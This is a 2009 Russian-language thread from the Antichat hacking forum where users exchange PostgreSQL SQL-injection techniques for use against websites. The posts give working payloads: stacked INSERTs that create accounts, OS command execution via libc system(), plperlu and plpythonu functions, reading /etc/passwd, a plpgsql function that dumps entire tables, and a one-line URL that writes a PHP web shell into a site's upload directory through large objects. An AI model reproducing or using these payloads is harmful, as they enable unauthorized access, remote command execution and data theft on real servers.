ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Проведение SQL-Injection в PostgreSQL (https://forum.antichat.xyz/showthread.php?t=35599)

Spyder 20.08.2009 01:31

в его случае права у юзера полные
просто там база данных находится на другом сервере
Цитата:

И вообще в pg sql комбинация ;COPY работает очень редко.
если права usesuper то работает всегда

Insane bboy 24.08.2009 12:13

пытаюсь зарегать нового юзера
таблица user колонки login и passwd

пробую так:
id=27;INSERT INTO user(login) VALUES ('значение логина');
выдает ошибку типа поле пароль пустое(ну правильно, логично)
как сделать запрос чтоб сразу заполнить два поля(логин и пароль)?

сам спросил, сам и отвечаю
в моем случае ...=3;INSERT+INTO+users+(id,login,pass)+VALUES+(3, сюда логин, сюда пасс,);--

Ded MustD!e 01.09.2009 06:06

Небольшое дополнение в тему создания функций.

1. В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:

Создаем таблицу stdout с колонками id,system_out.
Цитата:

CREATE TABLE stdout(id serial, system_out text)--
Создаем функцию system().
Цитата:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT--
Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.
Цитата:

SELECT system('uname -a > /tmp/test')--
Копируем данные из /tmp/test в таблицу stdout.
Цитата:

COPY stdout(system_out) FROM '/tmp/test'--
Выводим данные на экран.
Цитата:

UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
2. Чуть подругому через plperl:

Создаем язык, если он не был создан.
Цитата:

CREATE LANGUAGE plperlu
Создаем функцию proxyshell().
Цитата:

CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;
Выполняем команду и выводим на экран.
Цитата:

SELECT+proxyshell('uname -a')::int--
3. И напоследок через plpython:

Создаем функцию proxyshell().
Цитата:

CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--
Наслаждаемся выполнением команд)
Цитата:

SELECT+proxyshell('uname -a')::int--

Dr.Frank 07.09.2009 13:54

У меня просьба(а если кто-то уже знает ответ, то вопрос): можно ли при чтении файлов вместо '/etc/passwd' писать chr(47)||chr(101)||chr(116)||chr(99)||chr(47)||chr (112)||chr(97)||chr(115)||chr(115)||chr(119)||chr( 100) по аналогии с mysql?
А если никто не знает, то просьба тем, у кого есть возможность(типа рут привелегии или т.п.), проверить такой способ, т.к. у меня не получилось =/
Первоначальный вариант не подошел, т.к. кавычки экранируются.

Spyder 07.09.2009 14:02

если версия >8.0, то можно так
$$/etc/passwd$$

pampom 07.09.2009 14:13

откуда такая инфа можна пример?

Spyder 07.09.2009 18:35

http://www.postgresql.org/docs/8.4/static/sql-syntax-lexical.html
http://www.postgresql.org/docs/8.4/static/release-8-0.html

какой тебе пример нужен? скулю показать где это работает?

Spyder 14.09.2009 16:44

Прощай лимит

Если у нас установлен процедурный язык plpgsql
Код:

select lanname from pg_language where lanname='plpgsql'
Можно не замарачиваться с лимитом и вывести содержимое таблицы одним запросом
Для этого создаем функцию

Код:

CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$
DECLARE
                schema                ALIAS FOR $1;
                table                        ALIAS FOR $2;
                column1                ALIAS FOR $3;
                column2                ALIAS FOR $4;
                column3                ALIAS FOR $5;
                count                        int;
                i                        int;
                temp                        text;
                int_test                        text;
                input_refc                refcursor;
BEGIN
                int_test := $qr$Result : $qr$;
                OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
                FETCH input_refc into count;
                CLOSE input_refc;
                count := count - 1;
                BEGIN
                                FOR i in 0..count LOOP
                                                OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
                                                FETCH input_refc into temp;
                                                CLOSE input_refc;
                                                int_test := int_test || temp;
                                                END LOOP;
                                                RETURN int_test;
                END;
END;
$func$ LANGUAGE plpgsql;


Функция getall() получает 5 параметров
1 - имя базы
2 - имя таблицы
3,4,5,6 - имена колонок
Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br>
екземпл
id=-1 union select getall('information_schema','columns','column_name ','table_name','table_schema')

krypt3r 23.10.2009 09:11

GROUP_CONCAT() в PostgreSQL
Код:

SELECT array_to_string(array(SELECT field FROM table), ', ');

krypt3r 29.12.2009 12:37

Вариант заливки шелла
 
Заливка шелла через большие объекты (large objects).
1. Создаем LO.
Код:

dbname=# SELECT lo_create(-1);
Запрос вернет идентификатор типа 4294967295. Это id созданного LO.
2. Подготовим шелл и пропишем его в БД
Код:

dbname=# UPDATE pg_largeobject SET data = '<?php passthru($_GET[cmd]); ?>' WHERE loid = 4294967295;
3. Экспортируем код во внешний файл
Код:

dbname=# SELECT lo_export(4294967295, '/var/www/public_html/uploads/shell.php');
Шелл залит. Осталось удалить LO из БД
Код:

dbname=# SELECT lo_unlink(4294967295);
Все это можно заюзать в одной строке
Код:

http://site.com/index.php?id=1;select+lo_creat(37337);update+pg_largeobject+set+data=$$some_code$$+where+loid=37337;select+lo_export(37337,$$some_file$$);select+lo_unlink(37337);--
Для заливки также требуются права usesuper

PS. Ну и случайно нашел. На запрос типа
Код:

http://site.com/index.php?id=1+and+1=(select+*+from+sometable+as+q(a,b,c,d,e,f))
вывалится ошибка
Код:

ERROR:  table "q" has 5 columns available but 6 columns specified
ERROR:  у таблицы "q" колонок доступно: 5, но указано: 6

если в таблице sometable 5 колонок (в запросе указано 6). При указании количества <= 5 будет ошибка
Код:

ERROR:  subquery must return only one column
ERROR:  подзапрос должен вернуть только одну колонку

Возможно, пригодится как альтернативный вариант подбора количества колонок в таблице


Время: 10:31